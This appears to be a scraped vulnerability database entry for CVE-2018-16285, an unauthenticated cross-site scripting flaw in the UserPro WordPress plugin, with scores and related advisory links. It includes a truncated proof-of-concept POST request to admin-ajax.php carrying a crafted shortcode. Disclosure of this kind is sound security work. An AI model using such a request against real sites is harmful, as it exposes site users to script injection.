Lucene search
Yonatan_correaWPVDB-ID:801284F4-A15F-409B-A0FE-2B06E5E184C8HistoryAug 31, 2018 - 12:00 a.m.
UserPro <= 4.9.23 - Unauthenticated Cross-Site Scripting (XSS)
2018-08-3100:00:00
Yonatan_correa
wpscan.com
4
EPSS
0.002
Percentile
57.2%
An XSS vulnerability that affects from version 2.13 to 4.9.23.
PoC
POST /wp-admin/admin-ajax.php Host: domain.com action=userpro_shortcode_template&shortcode;=[userpro id=1 layout=“float” collage_per_page=“20” emd_paginate_top=“1” emd_paginate=“1” emd_gender="Gender,radi
Related
prion
prion
Design/Logic Flaw
2018-09-06 23:29:00
patchstack
patchstack
cvelist
cvelist
CVE-2018-16285
2018-09-06 23:00:00
wpexploit
wpexploit
UserPro <= 4.9.23 - Unauthenticated Cross-Site Scripting (XSS)
2018-08-31 00:00:00
cve
cve
CVE-2018-16285
2018-09-06 23:29:01
nvd
nvd
CVE-2018-16285
2018-09-06 23:29:01